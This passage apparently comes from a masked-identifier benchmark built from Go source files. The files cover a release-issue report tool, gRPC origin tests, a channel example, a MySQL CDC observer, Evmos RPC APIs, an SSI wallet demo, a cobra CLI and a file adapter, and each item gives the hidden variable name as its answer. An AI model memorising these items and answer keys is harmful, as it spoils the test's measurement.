	data = regexp.MustCompile(`(#(\d+))\s`).ReplaceAllString(data, ""$1"")
	data = regexp.MustCompile(`(?m)^([\?A-Za-z0-9][^\n]*)`).ReplaceAllString(data, ""$1"")
	data = regexp.MustCompile(`(?m)^    ([\?A-Za-z0-9][^\n]*)`).ReplaceAllString(data, ""    $1"")
	data = regexp.MustCompile(`(?m)^([^\n]*\[maybe[^\n]*)`).ReplaceAllString(data, ""$1"")
	data = regexp.MustCompile(`(?m)^( +)(.*)( → )(.*)(, [\d/]+ days)(, waiting for reviewer)`).ReplaceAllString(data, ""$1$2$3$4$5$6"")
	data = regexp.MustCompile(`(?m)^( +)(.*)( → )(.*)(, [\d/]+ days)(, waiting for author)`).ReplaceAllString(data, ""$1$2$3$4$5$6"")
	data = regexp.MustCompile(`(→ )(.*, \d\d+)(/\d+ days)(, waiting for reviewer)`).ReplaceAllString(data, ""$1$2$3$4"")
	fmt.Printf(""%s\n"", data)

	fmt.Printf(""
\n"") fmt.Printf(""\n"") } func fetchData() { if *readCache { data, err := ioutil.ReadFile(cacheFile) if err != nil { log.Fatal(err) } if err := json.Unmarshal(data, &cache); err != nil { log.Fatal(""loading cache: %v"", err) } } // readJSON(&cls, ""CLs"", ""cl"", ""-json"") // var open []*CL // for _, cl := range cls { // if !cl.Closed { // open = append(open, cl) // } // } // cls = open readJSON(&issues, ""issues"", ""issue"", ""-json"", """") // readJSON(&issues, Release+"" issues"", ""issue"", ""-json"", ""milestone:""+Release) // readJSON(&maybe, Release+""Maybe issues"", ""issue"", ""-json"", ""milestone:""+Release+""Maybe"") issues = append(issues, maybe...) if *writeCache { flushCache() } } func flushCache() { data, err := json.Marshal(cache) if err != nil { log.Fatal(""marshaling cache: %v"", err) } if err := ioutil.WriteFile(cacheFile, data, 0666); err != nil { log.Fatal(""writing cache: %v"", err) } } func readJSON(dst interface{}, desc string, cmd ...string) { var data []byte if *readCache { data = []byte(cache[desc]) if len(data) == 0 { log.Fatalf(""%s not cached"", desc) } } else { var err error data, err = exec.Command(cmd[0], cmd[1:]...).CombinedOutput() if err != nil { log.Fatalf(""fetching %s: %v\n%s"", desc, err, data) } } if *writeCache { cache[desc] = string(data) } if err := json.Unmarshal(data, dst); err != nil { log.Fatalf(""parsing %s: %v"", desc, err) } } func groupData() { groupsByDir := make(map[string]*Group) addGroup := func(item *Item) { dir := item.Dir() g := groupsByDir[dirKey(dir)] if g == nil { g = &Group{Dir: dir} groupsByDir[dirKey(dir)] = g } g.Items = append(g.Items, item) } itemsByBug := map[int]*Item{} for _, issue := range issues { item := &Item{Issue: issue} addGroup(item) itemsByBug[issue.Number] = item assignees = append(assignees, item) } for _, cl := range cls { found := false for _, id := range cl.Issues { item := itemsByBug[id] if item != nil { found = true item.CLs = append(item.CLs, cl) } } if !found { if cl.Project == ""go"" { item := &Item{CLs: []*CL{cl}} addGroup(item) } else { skipCL++ } } } var keys []string for key, g := range groupsByDir { sort.Sort(itemsBySummary(g.Items)) keys = append(keys, key) } sort.Strings(keys) for _, key := range keys { groups = append(groups, groupsByDir[key]) } sort.Sort(itemsBySummary(assignees)) } func printItems( [MASK] int, items []*Item) { var lastAssignee *string for i, item := range items { if assignee := itemAssignee(item); lastAssignee == nil || *lastAssignee != assignee { if i > 0 { fmt.Fprintf(&output, ""\n"") } lastAssignee = new(string) *lastAssignee = assignee if assignee == """" { assignee = ""unassigned"" } fmt.Fprintf(&output, ""%s%s\n"", strings.Repeat("" "", [MASK] ), assignee) } prefix := """" if item.Issue != nil { fmt.Fprintf(&output, ""%s%-10s [%s] %s"", strings.Repeat("" "", [MASK] +1), fmt.Sprintf(""#%d"", item.Issue.Number), item.Issue.Milestone, item.Issue.Title) prefix = ""\u2937 "" var tags []string if strings.HasSuffix(item.Issue.Milestone, ""Maybe"") { tags = append(tags, ""maybe"") } sort.Strings(item.Issue.Labels) for _, label := range item.Issue.Labels { switch label { case ""documentation"": tags = append(tags, ""doc"") case ""testing"": tags = append(tags, ""test"") case ""started"": tags = append(tags, strings.ToLower(label)) } } if len(tags) > 0 { fmt.Fprintf(&output, "" [%s]"", strings.Join(tags, "", "")) } fmt.Fprintf(&output, ""\n"") } for _, cl := range item.CLs { fmt.Fprintf(&output, ""%s%-10s %s%s\n"", strings.Repeat("" "", [MASK] ), fmt.Sprintf(""%sCL %d"", prefix, cl.Number), prefix, cl.Subject) } } } func printGroups() { for _, g := range groups { fmt.Fprintf(&output, ""\n%s\n"", g.Dir) printItems(1, g.Items) } fmt.Fprintf(&output, ""\n\n\nBy assignee\n\n"") printItems(1, assignees) } var okDesc = map[string]bool{ ""all"": true, ""build"": true, } func (item *Item) Dir() string { for _, cl := range item.CLs { dirs := cl.Dirs() desc := titleDir(cl.Subject) // Accept description if it is a global prefix like ""all"". if okDesc[desc] { return desc } // Accept description if it matches one of the directories. for _, dir := range dirs { if dir == desc { return dir } } // Otherwise use most common directory. if len(dirs) > 0 { return dirs[0] } // Otherwise accept description. return desc } if item.Issue != nil { if dir := titleDir(item.Issue.Title); dir != """" { return dir } return ""?"" } return ""?"" } func titleDir(title string) string { if i := strings.Index(title, ""\n""); i >= 0 { title = title[:i] } title = strings.TrimSpace(title) i := strings.Index(title, "":"") if i < 0 { return """" } title = title[:i] if i := strings.Index(title, "",""); i >= 0 { title = strings.TrimSpace(title[:i]) } if strings.Contains(title, "" "") { return """" } return title } // Dirs returns the list of directories that this CL might be said to be about, // in preference order. func (cl *CL) Dirs() []string { prefix := """" if cl.Project != ""go"" { prefix = ""x/"" + cl.Project + ""/"" } counts := map[string]int{} for _, file := range cl.Files { name := file i := strings.LastIndex(name, ""/"") if i >= 0 { name = name[:i] } else { name = """" } name = strings.TrimPrefix(name, ""src/"") if name == ""src"" { name = """" } name = prefix + name if name == """" { name = ""build"" } counts[name]++ } if _, ok := counts[""test""]; ok { counts[""test""] -= 10000 // do not pick as most frequent } var dirs dirCounts for name, count := range counts { dirs = append(dirs, dirCount{name, count}) } sort.Sort(dirs) var names []string for _, d := range dirs { names = append(names, d.name) } return names } type dirCount struct { name string count int } type dirCounts []dirCount func (x dirCounts) Len() int { return len(x) } func (x dirCounts) Swap(i, j int) { x[i], x[j] = x[j], x[i] } func (x dirCounts) Less(i, j int) bool { if x[i].count != x[j].count { return x[i].count > x[j].count } return x[i].name < x[j].name } type itemsBySummary []*Item func (x itemsBySummary) Len() int { return len(x) } func (x itemsBySummary) Swap(i, j int) { x[i], x[j] = x[j], x[i] } func (x itemsBySummary) Less(i, j int) bool { ia := itemAssignee(x[i]) ja := itemAssignee(x[j]) switch { case ia < ja: return true case ia > ja: return false default: return itemSummary(x[i]) < itemSummary(x[j]) } } func itemAssignee(it *Item) string { if it.Issue == nil { return """" } return it.Issue.Assignee } func itemSummary(it *Item) string { if it.Issue != nil { return it.Issue.Milestone + ""~"" + it.Issue.Title } for _, cl := range it.CLs { return cl.Subject } return """" } func dirKey(s string) string { if strings.Contains(s, ""."") { return ""\x7F"" + s } return s } func (cl *CL) Status() string { var buf bytes.Buffer who := ""author"" if cl.NeedsReview { who = ""reviewer"" } rev := cl.Reviewer if rev == """" { rev = ""???"" } score := """" if x := cl.Scores[cl.ReviewerEmail]; x != 0 { score = fmt.Sprintf(""%+d"", x) } fmt.Fprintf(&buf, ""%s → %s%s, %d/%d days, waiting for %s"", cl.Author, rev, score, int(now.Sub(cl.NeedsReviewChanged).Seconds()/86400), int(now.Sub(cl.Start).Seconds()/86400), who) for _, id := range cl.Issues { fmt.Fprintf(&buf, "" #%d"", id) } return buf.String() } ",indent 620,"// Copyright 2018 StreamSets Inc. // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package grpc_client import ( ""context"" ""github.com/streamsets/datacollector-edge/api"" ""github.com/streamsets/datacollector-edge/container/common"" ""github.com/streamsets/datacollector-edge/container/creation"" ""github.com/streamsets/datacollector-edge/container/execution/runner"" pb ""github.com/streamsets/datacollector-edge/stages/origins/grpc_client/testing/simple"" ""google.golang.org/grpc"" ""google.golang.org/grpc/reflection"" ""io"" ""net"" ""testing"" ""time"" ) func getStageContext( configuration []common.Config, parameters map[string]interface{}, ) (*common.StageContextImpl, *common.ErrorSink) { [MASK] := common.StageConfiguration{} [MASK] .Library = Library [MASK] .StageName = StageName [MASK] .Configuration = configuration errorSink := common.NewErrorSink() return &common.StageContextImpl{ StageConfig: & [MASK] , Parameters: parameters, ErrorSink: errorSink, }, errorSink } func getUnaryRPCValidConfig(resourceUrl string) []common.Config { return []common.Config{ { Name: ""conf.resourceUrl"", Value: resourceUrl, }, { Name: ""conf.serviceMethod"", Value: ""simple.SimpleService/UnaryRPCExample"", }, { Name: ""conf.requestData"", Value: `{""msg"": ""world""}`, }, { Name: ""conf.gRPCMode"", Value: UnaryRPC, }, { Name: ""conf.plaintext"", Value: ""true"", }, { Name: ""conf.dataFormat"", Value: ""JSON"", }, } } func getServerStreamingRPCValidConfig(resourceUrl string) []common.Config { return []common.Config{ { Name: ""conf.resourceUrl"", Value: resourceUrl, }, { Name: ""conf.serviceMethod"", Value: ""simple.SimpleService/ServerStreamingRPC"", }, { Name: ""conf.requestData"", Value: `{""msg"": ""world"", ""delay"": 0, ""totalMessages"": 2}`, }, { Name: ""conf.gRPCMode"", Value: ServerStreamingRPC, }, { Name: ""conf.plaintext"", Value: ""true"", }, { Name: ""conf.dataFormat"", Value: ""JSON"", }, } } func TestOrigin_Init(t *testing.T) { grpcServer, resourceUrl := startHelloWorldGRPCServer(t) configuration := getUnaryRPCValidConfig(resourceUrl) stageContext, _ := getStageContext(configuration, nil) stageBean, err := creation.NewStageBean(stageContext.StageConfig, stageContext.Parameters, nil) if err != nil { t.Error(err) return } stageInstance := stageBean.Stage if stageInstance == nil { t.Error(""Failed to create stage instance"") } if stageInstance.(*Origin).Conf.ResourceUrl != resourceUrl { t.Error(""Failed to inject config value for ResourceUrl"") } issues := stageInstance.Init(stageContext) if len(issues) > 0 { t.Fatal(issues[0].Message) } stageInstance.Destroy() grpcServer.Stop() } func TestOrigin_Init_InvalidUrl(t *testing.T) { configuration := getUnaryRPCValidConfig(""invalidHost:5004"") stageContext, _ := getStageContext(configuration, nil) stageBean, err := creation.NewStageBean(stageContext.StageConfig, stageContext.Parameters, nil) if err != nil { t.Error(err) return } stageInstance := stageBean.Stage if stageInstance == nil { t.Error(""Failed to create stage instance"") } issues := stageInstance.Init(stageContext) if len(issues) != 1 { t.Error(""Excepted validation error - lookup invalidHost: no such host"") } stageInstance.Destroy() } func TestOrigin_Produce_Unary_RPC_InvalidMethod(t *testing.T) { grpcServer, resourceUrl := startHelloWorldGRPCServer(t) configuration := []common.Config{ { Name: ""conf.resourceUrl"", Value: resourceUrl, }, { Name: ""conf.serviceMethod"", Value: ""helloworld.Greeter/invalid"", }, { Name: ""conf.requestData"", Value: `{""name"": ""world""}`, }, { Name: ""conf.gRPCMode"", Value: UnaryRPC, }, { Name: ""conf.plaintext"", Value: ""true"", }, { Name: ""conf.dataFormat"", Value: ""JSON"", }, } stageContext, errorSink := getStageContext(configuration, nil) stageBean, err := creation.NewStageBean(stageContext.StageConfig, stageContext.Parameters, nil) if err != nil { t.Error(err) return } stageInstance := stageBean.Stage issues := stageInstance.Init(stageContext) if len(issues) > 0 { t.Fatal(issues[0].Message) } // first batch batchMaker := runner.NewBatchMakerImpl(runner.StagePipe{}, false) _, err = stageInstance.(api.Origin).Produce(&lastOffset, 1, batchMaker) if err != nil { t.Error(""Err :"", err) return } records := batchMaker.GetStageOutput() if len(records) != 0 { t.Fatal(""Expected 0 records but got - "", len(records)) } if errorSink.GetTotalErrorMessages() != 1 { t.Fatalf(""Excepted 1 stage error, but got: %d"", errorSink.GetTotalErrorMessages()) } stageInstance.Destroy() grpcServer.Stop() } func TestOrigin_Produce_Unary_RPC(t *testing.T) { grpcServer, resourceUrl := startHelloWorldGRPCServer(t) configuration := getUnaryRPCValidConfig(resourceUrl) stageContext, _ := getStageContext(configuration, nil) stageBean, err := creation.NewStageBean(stageContext.StageConfig, stageContext.Parameters, nil) if err != nil { t.Error(err) return } stageInstance := stageBean.Stage issues := stageInstance.Init(stageContext) if len(issues) > 0 { t.Fatal(issues[0].Message) } // first batch batchMaker := runner.NewBatchMakerImpl(runner.StagePipe{}, false) _, err = stageInstance.(api.Origin).Produce(&lastOffset, 1, batchMaker) if err != nil { t.Error(""Err :"", err) return } records := batchMaker.GetStageOutput() if len(records) != 1 { t.Error(""Expected 1 records but got - "", len(records)) return } rootField, _ := records[0].Get() mapFieldValue := rootField.Value.(map[string]*api.Field) if mapFieldValue[""msg""].Value != ""Hello world"" { t.Error(""Expected 'Hello world' but got - "", rootField.Value) } // Second Batch batchMaker = runner.NewBatchMakerImpl(runner.StagePipe{}, false) _, err = stageInstance.(api.Origin).Produce(&lastOffset, 1, batchMaker) if err != nil { t.Error(""Err :"", err) return } records = batchMaker.GetStageOutput() if len(records) != 1 { t.Error(""Expected 1 records but got - "", len(records)) return } rootField, _ = records[0].Get() mapFieldValue = rootField.Value.(map[string]*api.Field) if mapFieldValue[""msg""].Value != ""Hello world"" { t.Error(""Expected 'Hello world' but got - "", rootField.Value) } stageInstance.Destroy() grpcServer.Stop() } func TestOrigin_Produce_Server_Streaming_RPC(t *testing.T) { grpcServer, resourceUrl := startHelloWorldGRPCServer(t) configuration := getServerStreamingRPCValidConfig(resourceUrl) stageContext, errorSink := getStageContext(configuration, nil) stageBean, err := creation.NewStageBean(stageContext.StageConfig, stageContext.Parameters, nil) if err != nil { t.Error(err) return } stageInstance := stageBean.Stage issues := stageInstance.Init(stageContext) if len(issues) > 0 { t.Fatal(issues[0].Message) } // first batch batchMaker := runner.NewBatchMakerImpl(runner.StagePipe{}, false) _, err = stageInstance.(api.Origin).Produce(&lastOffset, 1, batchMaker) if err != nil { t.Error(""Err :"", err) return } if errorSink.GetTotalErrorMessages() != 0 { t.Fatal(errorSink.GetStageErrorMessages("""")[0].Stacktrace) } records := batchMaker.GetStageOutput() if len(records) != 1 { t.Error(""Expected 1 records but got - "", len(records)) return } rootField, _ := records[0].Get() mapFieldValue := rootField.Value.(map[string]*api.Field) if mapFieldValue[""msg""].Value != ""Hello world"" { t.Error(""Expected 'Hello world' but got - "", rootField.Value) } // Second Batch batchMaker = runner.NewBatchMakerImpl(runner.StagePipe{}, false) _, err = stageInstance.(api.Origin).Produce(&lastOffset, 1, batchMaker) if err != nil { t.Error(""Err :"", err) return } records = batchMaker.GetStageOutput() if len(records) != 1 { t.Error(""Expected 1 records but got - "", len(records)) return } rootField, _ = records[0].Get() mapFieldValue = rootField.Value.(map[string]*api.Field) if mapFieldValue[""msg""].Value != ""Hello world"" { t.Error(""Expected 'Hello world' but got - "", rootField.Value) } // Third Batch should return empty records since totalMessage set to 2 batchMaker = runner.NewBatchMakerImpl(runner.StagePipe{}, false) _, err = stageInstance.(api.Origin).Produce(&lastOffset, 1, batchMaker) if err != nil { t.Error(""Err :"", err) return } records = batchMaker.GetStageOutput() if len(records) != 0 { t.Error(""Expected 0 records but got - "", len(records)) return } stageInstance.Destroy() grpcServer.Stop() } type TestGRPCServer struct{} func (s *TestGRPCServer) UnaryRPCExample(ctx context.Context, in *pb.SimpleInputData) (*pb.SimpleOutputData, error) { return &pb.SimpleOutputData{Msg: ""Hello "" + in.Msg}, nil } func (s *TestGRPCServer) ServerStreamingRPC( in *pb.SimpleInputData, stream pb.SimpleService_ServerStreamingRPCServer, ) error { for messageCount := int64(0); messageCount < in.TotalMessages; messageCount++ { time.Sleep(time.Duration(in.Delay) * time.Second) stream.Send(&pb.SimpleOutputData{Msg: ""Hello "" + in.Msg}) } return io.EOF } func (s *TestGRPCServer) ClientStreamingRPC(stream pb.SimpleService_ClientStreamingRPCServer) error { return nil } func (s *TestGRPCServer) BidirectionalStreamingRPC(stream pb.SimpleService_BidirectionalStreamingRPCServer) error { return nil } func startHelloWorldGRPCServer(t *testing.T) (*grpc.Server, string) { lis, err := net.Listen(""tcp"", "":0"") if err != nil { t.Fatalf(""failed to listen: %v"", err) } s := grpc.NewServer() pb.RegisterSimpleServiceServer(s, &TestGRPCServer{}) // Register reflection service on gRPC server. reflection.Register(s) go func() { if err := s.Serve(lis); err != nil { t.Fatalf(""failed to serve: %v"", err) } }() return s, lis.Addr().String() } ",stageConfig 621,"package main import ""fmt"" /**Go语言也允许指定channel的缓冲大小, 很简单,就是channel可以存储多少元 素。ch:= make(chan bool, 4),创 建了可以存储4个元素的bool型channel。 在这个channel中,前4个元素可以无阻 塞的写入。当写入第5个元素时,代码将 会阻塞,直到其他goroutine从channel 中读取一些元素,腾出空间。**/ func main() { c := make(chan int,2) c <- 1 c <- 2 fmt.Println(<-c) fmt.Println(<-c) // fibnacci fmt.Println(""----------------------=----------------------------------"") channel := make(chan int,10) go fibnacci(cap(channel),channel) // 从chan中去读取资源是阻塞状态的,所以 资源生产者如果不停止对channel发送资源,当前循环回一直执行下去。因此若要停止当前循环,需要生产者主动关闭通道close(chan) for v := range channel { println(""the current fib value is "",v) } } /** 注: 记住应该在生产者的地方关闭channel,而不是消费的地方去关闭它,这样容易引起panic。 另外,channel不像文件之类需要经常去关闭,只有当你确实没有任何数据发送了,或者你想显式的结束range循环之类的操作。 **/ func fibnacci( [MASK] int,c chan int) { x,y := 1,1 for i := 0;i < [MASK] ;i++{ c <- x x,y = y, x + y } close(c) }",number 622,"package cdcobserver import ( ""cdc-observer/constant"" dockerapi ""cdc-observer/docker_api"" ""cdc-observer/handler"" ""context"" ""errors"" ""fmt"" ""cdc-observer/database"" ""github.com/go-mysql-org/go-mysql/canal"" ) type CDCObserver struct { river *canal.Canal dc *dockerapi.DockerClient db *database.Database // Only support MySQL for now } func NewCDCObserver() (*CDCObserver, error) { observer := &CDCObserver{} dockerClient, err := dockerapi.NewDockerClient() if err != nil { return nil, err } observer.dc = dockerClient return observer, nil } func (ob *CDCObserver) Start(ctx context.Context) error { // Start the MySQL container if err := ob.dc.StartMySQLContainer(ctx); err != nil { return err } // Get the container name and port containerName := ob.dc.ContainerName(constant.MysqlImageName) port, err := ob.dc.ContainerPort(ctx, containerName) if err != nil { return err } // Create a new database connection db, err := database.NewDatabase(port) if err != nil { return err } ob.db = db // Configure and create a new Canal instance cfg := canal.NewDefaultConfig() cfg.Addr = fmt.Sprintf(""%s:%s"", constant.DatabaseHost, port) cfg.User = constant.DatabaseUsername cfg.Password = constant.DatabasePassword // Disable dump by setting Dump.ExecutionPath to empty string cfg.Dump.ExecutionPath = """" // Exclude all databases except cdc-observer cfg.ExcludeTableRegex = []string{""[^cdc-observer]\\..*""} cfg.IncludeTableRegex = []string{""cdc-observer\\..*""} c, err := canal.NewCanal(cfg) if err != nil { return err } // Check if the Canal instance was created successfully if c == nil { return errors.New(""the river is empty, please check if your database enable the binlog and the log style is ROW"") } // Set the event handler and start the Canal c.SetEventHandler(&handler.CDCObserverHandler{}) ob.river = c if err := ob.river.Run(); err != nil { return err } return nil } func (ob *CDCObserver) Close(ctx context.Context) error { ob.dc.StopAllContainers(ctx) ob.river.Close() return nil } func (ob *CDCObserver) AddTable(name string, [MASK] *database.Table) error { return ob.db.AddTable( [MASK] ) } func (ob *CDCObserver) DeleteTable(name string) error { return ob.db.DeleteTable(name) } func (ob *CDCObserver) ApplyDB() error { return ob.db.Apply() } func (ob *CDCObserver) Clean() error { return ob.db.Clean() } ",table 623,"// Copyright Tharsis Labs Ltd.(Evmos) // SPDX-License-Identifier:ENCL-1.0(https://github.com/evmos/evmos/blob/main/LICENSE) package rpc import ( ""fmt"" ""github.com/cosmos/cosmos-sdk/client"" ""github.com/cosmos/cosmos-sdk/server"" ""github.com/ethereum/go-ethereum/rpc"" ""github.com/green901612/cosevm/rpc/backend"" ""github.com/green901612/cosevm/rpc/namespaces/ethereum/debug"" ""github.com/green901612/cosevm/rpc/namespaces/ethereum/eth"" ""github.com/green901612/cosevm/rpc/namespaces/ethereum/eth/filters"" ""github.com/green901612/cosevm/rpc/namespaces/ethereum/miner"" ""github.com/green901612/cosevm/rpc/namespaces/ethereum/net"" ""github.com/green901612/cosevm/rpc/namespaces/ethereum/personal"" ""github.com/green901612/cosevm/rpc/namespaces/ethereum/txpool"" ""github.com/green901612/cosevm/rpc/namespaces/ethereum/web3"" rpcclient ""github.com/cometbft/cometbft/rpc/jsonrpc/client"" ) // RPC namespaces and API version const ( // Cosmos namespaces CosmosNamespace = ""cosmos"" // Ethereum namespaces Web3Namespace = ""web3"" EthNamespace = ""eth"" PersonalNamespace = ""personal"" NetNamespace = ""net"" TxPoolNamespace = ""txpool"" DebugNamespace = ""debug"" MinerNamespace = ""miner"" apiVersion = ""1.0"" ) // APICreator creates the JSON-RPC API implementations. type APICreator = func( ctx *server.Context, clientCtx client.Context, tendermintWebsocketClient *rpcclient.WSClient, allowUnprotectedTxs bool, ) []rpc.API // apiCreators defines the JSON-RPC API namespaces. var apiCreators map[string]APICreator func init() { apiCreators = map[string]APICreator{ EthNamespace: func(ctx *server.Context, clientCtx client.Context, tmWSClient *rpcclient.WSClient, allowUnprotectedTxs bool, ) []rpc.API { evmBackend := backend.NewBackend(ctx, ctx.Logger, clientCtx, allowUnprotectedTxs) return []rpc.API{ { Namespace: EthNamespace, Version: apiVersion, Service: eth.NewPublicAPI(ctx.Logger, evmBackend), Public: true, }, { Namespace: EthNamespace, Version: apiVersion, Service: filters.NewPublicAPI(ctx.Logger, clientCtx, tmWSClient, evmBackend), Public: true, }, } }, Web3Namespace: func(*server.Context, client.Context, *rpcclient.WSClient, bool) []rpc.API { return []rpc.API{ { Namespace: Web3Namespace, Version: apiVersion, Service: web3.NewPublicAPI(), Public: true, }, } }, NetNamespace: func(_ *server.Context, clientCtx client.Context, _ *rpcclient.WSClient, _ bool) []rpc.API { return []rpc.API{ { Namespace: NetNamespace, Version: apiVersion, Service: net.NewPublicAPI(clientCtx), Public: true, }, } }, PersonalNamespace: func(ctx *server.Context, clientCtx client.Context, _ *rpcclient.WSClient, allowUnprotectedTxs bool, ) []rpc.API { evmBackend := backend.NewBackend(ctx, ctx.Logger, clientCtx, allowUnprotectedTxs) return []rpc.API{ { Namespace: PersonalNamespace, Version: apiVersion, Service: personal.NewAPI(ctx.Logger, evmBackend), Public: false, }, } }, TxPoolNamespace: func(ctx *server.Context, _ client.Context, _ *rpcclient.WSClient, _ bool) []rpc.API { return []rpc.API{ { Namespace: TxPoolNamespace, Version: apiVersion, Service: txpool.NewPublicAPI(ctx.Logger), Public: true, }, } }, DebugNamespace: func(ctx *server.Context, clientCtx client.Context, _ *rpcclient.WSClient, allowUnprotectedTxs bool, ) []rpc.API { evmBackend := backend.NewBackend(ctx, ctx.Logger, clientCtx, allowUnprotectedTxs) return []rpc.API{ { Namespace: DebugNamespace, Version: apiVersion, Service: debug.NewAPI(ctx, evmBackend), Public: true, }, } }, MinerNamespace: func(ctx *server.Context, clientCtx client.Context, _ *rpcclient.WSClient, allowUnprotectedTxs bool, ) []rpc.API { evmBackend := backend.NewBackend(ctx, ctx.Logger, clientCtx, allowUnprotectedTxs) return []rpc.API{ { Namespace: MinerNamespace, Version: apiVersion, Service: miner.NewPrivateAPI(ctx, evmBackend), Public: false, }, } }, } } // GetRPCAPIs returns the list of all APIs func GetRPCAPIs(ctx *server.Context, clientCtx client.Context, tmWSClient *rpcclient.WSClient, allowUnprotectedTxs bool, [MASK] []string, ) []rpc.API { var apis []rpc.API for _, ns := range [MASK] { if creator, ok := apiCreators[ns]; ok { apis = append(apis, creator(ctx, clientCtx, tmWSClient, allowUnprotectedTxs)...) } else { ctx.Logger.Error(""invalid namespace value"", ""namespace"", ns) } } return apis } // RegisterAPINamespace registers a new API namespace with the API creator. // This function fails if the namespace is already registered. func RegisterAPINamespace(ns string, creator APICreator) error { if _, ok := apiCreators[ns]; ok { return fmt.Errorf(""duplicated api namespace %s"", ns) } apiCreators[ns] = creator return nil } ",selectedAPIs 624,"package main import ( ""fmt"" ""ssi-book/actors/holder"" ""ssi-book/core"" ""ssi-book/util"" ) func main() { fmt.Println(""### Start HOLDER's Wallet ###"") // New Holder [MASK] := new(holder.Holder) [MASK] .AtomicVCList = make(map[string]string) util.PressKey(""1. DID를 생성합니다. [아무키나 입력하세요.]"") [MASK] .GenerateDID() fmt.Printf(""DID: %s\n"", [MASK] .Did.String()) fmt.Printf(""DID Document: %+v\n"", [MASK] .DidDocument) util.PressKey(""2. DID를 VDR에 등록합니다. [아무키나 입력하세요.]"") core.RegisterDid( [MASK] .Did.String(), [MASK] .DidDocument.String()) // 최초 VC를 발급한다. util.PressKey(""3. 최초 VC를 발급합니다. [아무키나 입력하세요.]"") [MASK] .GenerateFirstVC() fmt.Println(""First VC: "", [MASK] .VCList[0]) // UniversityIssuer에게 졸업증명 VC를 요청한다. util.PressKey(""4. UniversityIssuer에게 졸업증명 VC를 요청한다. [아무키나 입력하세요.]"") vpToken, _ := [MASK] .GenerateVP() fmt.Printf(""VP Token: %s\n"", vpToken) [MASK] .RequestVCToUniversityIssuer(vpToken) // CompanyIssuer에게 재직증명 VC를 요청한다. util.PressKey(""5. CompanyIssuer에게 재직증명 VC를 요청한다. [아무키나 입력하세요.]"") vpToken, _ = [MASK] .GenerateVP() fmt.Printf(""VP Token: %s\n"", vpToken) [MASK] .RequestVCToCompanyIssuer(vpToken) // BankIssuer에게 재직증명 VC를 요청한다. util.PressKey(""6. BankIssuer에게 계좌 VC와 대출 VC를 요청한다. [아무키나 입력하세요.]"") vpToken, _ = [MASK] .GenerateVP() fmt.Printf(""VP Token: %s\n"", vpToken) [MASK] .RequestVCToBankIssuer(vpToken) // AtomicUniversityIssuer에게 졸업증명 Atomic VC를 요청한다. util.PressKey(""7. AtomicUniversityIssuer에게 졸업증명 Atomic VC를 요청한다. [아무키나 입력하세요.]"") vpToken, _ = [MASK] .GenerateVP() [MASK] .RequestVCToAtomicUniversityIssuer(vpToken) // AtomicUniversityIssuer에게 졸업증명 Atomic VC를 요청한다. util.PressKey(""8. Atomic VC 목록을 출력한다. [아무키나 입력하세요.]"") [MASK] .PrintAtomicVC() } ",hldr 625,"package main import ( ""fmt"" ""github.com/spf13/cobra"" ""os"" ) const ( version = ""0.0.1"" ) func main() { var [MASK] = &cobra.Command{ Use: ""kirk"", Run: func(cmd *cobra.Command, args []string) { cmd.Help() }, } var versionCmd = &cobra.Command{ Use: ""version"", Short: ""Print the current version of kirk"", Run: func(cmd *cobra.Command, args []string) { fmt.Println(""version"", version) }, } var deployCmd = &cobra.Command{ Use: ""deploy [environment]"", Short: ""Deploy runlist for environment"", Long: ""A bunch of nonsense about how to deploy stuff"", Run: func(cmd *cobra.Command, args []string) { if len(args) > 0 { config := loadConfig(args[0]) runTaskList(&config) } }, } [MASK] .ParseFlags(os.Args) [MASK] .AddCommand(versionCmd) [MASK] .AddCommand(deployCmd) [MASK] .Execute() } ",kirkCmd 626,"package adapter import ( ""fmt"" ""io/ioutil"" ""os"" ""path/filepath"" ""sync"" ) // Local ... type Local struct { BaseAdapter root string lock *sync.Mutex permMap map[string]map[string]os.FileMode } // FilePrivate represents 0600 file permissions const FilePrivate = 0600 // FilePublic represents 0644 file permissions const FilePublic = 0644 // DirPrivate represents 0700 directory permissions const DirPrivate = 0700 // DirPublic represents 0755 directory permissions const DirPublic = 0755 // NewLocal creates a new instance of Local func NewLocal(root string) (Adapter, error) { var permMap = map[string]map[string]os.FileMode{ ""file"": {}, ""dir"": {}, } permMap[""file""][""public""] = FilePublic permMap[""file""][""private""] = FilePrivate permMap[""dir""][""public""] = DirPublic permMap[""dir""][""private""] = DirPrivate a := &Local{ permMap: permMap, } err := a.ensureDirectory(root) if err != nil { return nil, err } a.SetPathPrefix(root) a.lock = &sync.Mutex{} return a, nil } // Write a new file func (a *Local) Write(path string, contents []byte) error { a.lock.Lock() defer a.lock.Unlock() location := a.ApplyPathPrefix(path) dir, err := filepath.Abs(filepath.Dir(location)) if err != nil { return err } err = a.ensureDirectory(dir) if err != nil { return err } err = ioutil.WriteFile(location, contents, FilePublic) if err != nil { return err } return nil } // Update a file func (a *Local) Update(path string, contents []byte) error { a.lock.Lock() defer a.lock.Unlock() location := a.ApplyPathPrefix(path) err := ioutil.WriteFile(location, contents, FilePublic) if err != nil { return err } return nil } // Read a file func (a *Local) Read(path string) ([]byte, error) { location := a.ApplyPathPrefix(path) return ioutil.ReadFile(location) } // Rename a file func (a *Local) Rename(path string, newPath string) error { a.lock.Lock() defer a.lock.Unlock() location := a.ApplyPathPrefix(path) destination := a.ApplyPathPrefix(newPath) return os.Rename(location, destination) } // Copy a file func (a *Local) Copy(path string, newPath string) error { a.lock.Lock() defer a.lock.Unlock() location := a.ApplyPathPrefix(path) destination := a.ApplyPathPrefix(newPath) // Get file permissions info, err := os.Stat(location) if err != nil { return err } input, err := ioutil.ReadFile(location) if err != nil { return err } return ioutil.WriteFile(destination, input, info.Mode()) } // Delete a file func (a *Local) Delete(path string) error { a.lock.Lock() defer a.lock.Unlock() location := a.ApplyPathPrefix(path) return os.Remove(location) } // CreateDir creates a directory func (a *Local) CreateDir(dir string) error { a.lock.Lock() defer a.lock.Unlock() location := a.ApplyPathPrefix(dir) return os.Mkdir(location, DirPublic) } // DeleteDir deletes a directory func (a *Local) DeleteDir(dir string) error { a.lock.Lock() defer a.lock.Unlock() location := a.ApplyPathPrefix(dir) return os.RemoveAll(location) } // SetVisibility sets a file or directory to public or private func (a *Local) SetVisibility(path string, [MASK] string) error { 